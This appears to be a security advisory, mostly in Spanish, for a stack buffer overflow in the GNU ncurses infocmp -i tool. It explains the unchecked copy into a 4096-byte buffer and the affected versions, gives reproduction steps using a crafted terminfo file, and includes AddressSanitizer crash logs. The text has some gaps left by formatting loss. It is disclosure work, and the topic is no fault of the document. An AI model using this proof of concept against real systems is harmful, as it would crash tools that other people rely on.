cao-wuhui/cve-2025-69720Aviso para CVE-2025-69720: desbordamiento de búfer basado en pila en GNU ncurses infocmp (CWE-121)
-i (CWE-121)Reportante: Yixuan Cao (Universidad de Shenzhen), [email protected]
clang 12.0.1 + AddressSanitizerinfocmp -i invoca analyze_string() (progs/infocmp.c) para inspeccionar secuencias CSI encontradas en una entrada terminfo. La rutina copia la subcadena candidata en un búfer de pila de tamaño fijo (, 4096 bytes). Debido a que no se verifica contra 4096, una lista de parámetros CSI maliciosamente larga (por ejemplo, con ~800 parámetros) desborda , provocando un desbordamiento de pila. El mismo PoC se reproduce en 6.4 y en 6.5 anterior al parche 20251213 (ver salidas de ASan a continuación). Versiones anteriores a 6.4 no fueron probadas.
buf2len = strlen(cp)sgr=\E[1234567;…;mbuf2Las noticias de ncurses (2025/12/13) han confirmado y corregido el error, y un parche oficial está disponible.
infocmp -i en una entrada terminfo creada puede bloquear la herramienta (desbordamiento de búfer en pila), es decir, una denegación de servicio local para esa invocación.progs/infocmp.c (analyze_string) cuando len = strlen(cp) se usa para copiar en buf2[MAX_TERMINFO_LENGTH] (4096) sin verificar len, y seguido de buf2[len] = '\0'.-i es una ruta de análisis especializada para capacidades relacionadas con init/reset (is1/is2/is3/rs1/rs2/rs3/smcup/rmcup/smkx/rmkx); no afecta el uso común de infocmp sin -i.ncurses-6.5-20251213.patch.gz).# Download and extract the source code of ncurses-6.4
# (assume it lives in ~/ncurses-6.4, i.e., /home/<user>/ncurses-6.4)
cd ~
wget https://invisible-mirror.net/archives/ncurses/ncurses-6.4.tar.gz
tar xvf ncurses-6.4.tar.gz
cd ncurses-6.4
# Configure with ASan
CC=clang \
CFLAGS='-O1 -g -fsanitize=address' \
LDFLAGS='-fsanitize=address' \
./configure --enable-widec # keep wide-char support so the long SGR survives
# Compile infocmp/tic/etc.
make -j$(nproc)
~/evil_sgr.ti) en una base de datos temporal:
~/ncurses-6.4/progs/tic -x -o /tmp/evilti ~/evil_sgr.ti
infocmp habilitado con ASan:
TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
~/ncurses-6.5/progs/...).Para ncurses-6.4:
[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.4/progs/infocmp -i evil_sgr
=================================================================
==3848299==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffcfa5e240 at pc 0x000000443344 bp 0xffffcfa5c9b0 sp 0xffffcfa5ca08
WRITE of size 6402 at 0xffffcfa5e240 thread T0
#0 0x443340 in strncpy (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340)
#1 0x4eee78 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:850:3
#2 0x4ecebc in main /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:1881:6
#3 0xffffab9d0ffc (/usr/lib64/libc.so.6+0x2affc)
#4 0xffffab9d10d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
#5 0x42936c in _start (/home/yixuan/ncurses-6.4/progs/infocmp+0x42936c)
Address 0xffffcfa5e240 is located in stack of thread T0 at offset 4128 in frame
#0 0x4eebe0 in analyze_string /home/yixuan/ncurses-6.4/progs/../progs/infocmp.c:818
This frame has 2 object(s):
[32, 4128) 'buf2' (line 819)
[4256, 8352) 'buf3' (line 834) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.4/progs/infocmp+0x443340) in strncpy
Shadow bytes around the buggy address:
0x200ff9f4bbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ff9f4bc40: 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2
0x200ff9f4bc50: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00
0x200ff9f4bc60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ff9f4bc90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3848299==ABORTING
Y para ncurses-6.5:
[yixuan@Taishan200 ~]$ TERMINFO=/tmp/evilti ~/ncurses-6.5/progs/infocmp -i evil_sgr
=================================================================
==3863888==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfffff7af5380 at pc 0x000000443544 bp 0xfffff7af3af0 sp 0xfffff7af3b48
WRITE of size 6402 at 0xfffff7af5380 thread T0
#0 0x443540 in strncpy (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540)
#1 0x4ef094 in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:874:3
#2 0x4ed0d8 in main /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:1913:6
#3 0xffff811baffc (/usr/lib64/libc.so.6+0x2affc)
#4 0xffff811bb0d4 in __libc_start_main (/usr/lib64/libc.so.6+0x2b0d4)
#5 0x42956c in _start (/home/yixuan/ncurses-6.5/progs/infocmp+0x42956c)
Address 0xfffff7af5380 is located in stack of thread T0 at offset 4128 in frame
#0 0x4eedfc in analyze_string /home/yixuan/ncurses-6.5/progs/../progs/infocmp.c:842
This frame has 2 object(s):
[32, 4128) 'buf2' (line 843)
[4256, 8352) 'buf3' (line 858) <== Memory access at offset 4128 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/yixuan/ncurses-6.5/progs/infocmp+0x443540) in strncpy
Shadow bytes around the buggy address:
0x200ffef5ea20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x200ffef5ea70:[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x200ffef5ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5ea90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5eaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5eab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x200ffef5eac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3863888==ABORTING